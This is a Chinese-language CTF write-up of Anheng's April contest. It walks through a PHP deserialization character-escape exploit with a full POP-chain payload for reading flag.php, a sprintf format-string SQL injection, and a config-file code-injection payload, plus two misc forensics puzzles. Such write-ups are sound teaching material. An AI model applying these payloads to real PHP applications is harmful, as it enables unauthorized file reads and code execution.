安恒赛php_安恒四月赛部分Writeup

原创

weixin_39551554 于 2020-12-21 17:07:53 发布 55 收藏
文章标签： 安恒赛php

前言

这周有安恒的月赛，

又是膜师傅的一天

学到了一些骚姿势：

web

web1

打开题目发现给出了源码：

```
show_source("index.php");

function write($data) {

return str_replace(chr(0) . '*' . chr(0), '', $data);

}

function read($data) {

return str_replace('', chr(0) . '*' . chr(0), $data);

}

class A{

public $username;

public $password;

function __construct($a, $b){

$this->username = $a;

$this->password = $b;

}

}

class B{

public $b = 'gqy';
```

```
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}
class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}
$a = @new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));
```

我们来分析一下：

```
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '', $data);
}
function read($data) {
return str_replace('', chr(0) . '*' . chr(0), $data);
}
```

这个写函数，当反序列化存储的私有成员是，会有chr(0)的出现，所以会对chr(0) . '*' . chr(0)进行一个替换，当读取的时候会对进行一个还原。

看似没有什么问题，但是当我们可以的存储进行wirte()时不会发生改变。但是进行read()时，会变为chr(0) . '*' . chr(0)由六字符变为三字符，可以实现字符逃逸。。。

我们可以明显看到在 read 函数处理后，原先字符中的 被替换成 chr(0).'*'.chr(0)，但是字符长度标识不变 。所以在进行反序列化的时候，还会继续向后读取，这样序列化的结果就完全不一样了。

所以来看一下如何构造pop链。

```
class A{
public $username;
```

```
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}
class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}
class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}
```

class C存在file_get_contents()函数，可以读取文件内容，可以让$c为flag.php,并且存在__toString()魔术方法。。 class B函数存在echo 那么大致思路就出来了

```
class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}
```

```
class B{
public $b;
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}
class C{
public $c = 'flag.php';
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}
$aaa = new A();
$bbb = new B();
$ccc = new C();
$bbb->b=$ccc;
// echo serialize($bbb);
$aaa->password=$bbb;
echo serialize($aaa);
```

得到O:1:"A":2:{s:8:"username";N;s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

因为要造成反序列化逃逸：所以password值为：";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}

带入反序列化的解果为：O:1:"A":2:{s:8:"username";s:3:"aaa";s:8:"password";s:72:"";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";}

所以我们要逃逸的字符为:";s:8:"password";s:72:"一共23个字符，但是替换为chr(0) . '*' . chr(0)一次逃逸3个字符，所以要是三的倍数。。所以password为A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}

username为24个;

payload:

a=&b=A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}

web2

打开页面是一个登陆框：

尝试一下发现存在waf,

于是看一下都过滤了写什么函数。。

发现过滤的挺多的，也挺全的，一时没有了解头绪

看一下源代码，发现了收获，2333

这个%s让我想到了格式化字符串的漏洞。。

上网找到这样的一篇文章参考文章

发现骚姿势，SQL注入可以和格式化字符串一起使用

例如：

```
$input1 = '%1$c) OR 1 = 1 /*';
$input2 = 39;
$sql = "SELECT * FROM foo WHERE bar IN ('$input1') AND baz = %s";
$sql = sprintf($sql, $input2);
echo $sql;
```

输出为select * from foo where bar in('') or 1=1 /*') and baz=39

%c起到了类似chr()的效果，将数字39转化为'，从而导致了sql注入。

我们尝试一下利用这种方法

得到了账户密码

发现是admin用户的密码猜测存在后台，找到了后台的位置/admin

然后进行登陆，发现，这是一个套娃题 。。 淦

这里面对发现了眼熟的代码：

是一个经典的配置文件写入问题漏洞.参考链接

payload:

```
a';phpinfo();//
```

然后再shell.php看到了phpinfo()的界面。。

我以为就可以得到flag了。。谁知道有disable_functions

set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifs

想到了题目给了一个so文件。。猜测是上传so文件来进行提权操作。。。但是尝试了半天无果。。这应该是最后一步了，并且好多人在搅屎

最后两分钟有大佬拿到了一血

tql。

MISC

blueshark

打开题目，发现这是一个蓝牙协议：

发现存在一个7z的压缩包。提示压缩包密码为PIN码

一个骚操作将pcap文件后缀改为zip可以得到这个压缩包。。。

然后找到了PIN码的流量，得到PIN码

打开压缩包，得到flag

6G还远吗？

刚开始发现是下载的779MB的文件，就点击下载了，然后去看别的题目了，但是过一会发现这个下载速度不对呀。。意识到事情有一丝丝的不对。。嘿嘿

暂停下载找到下载的临时文件打开得到了flag

总结

这次月赛，学到了一些新知识，以及骚操作

大佬们都tql。。。

参考链接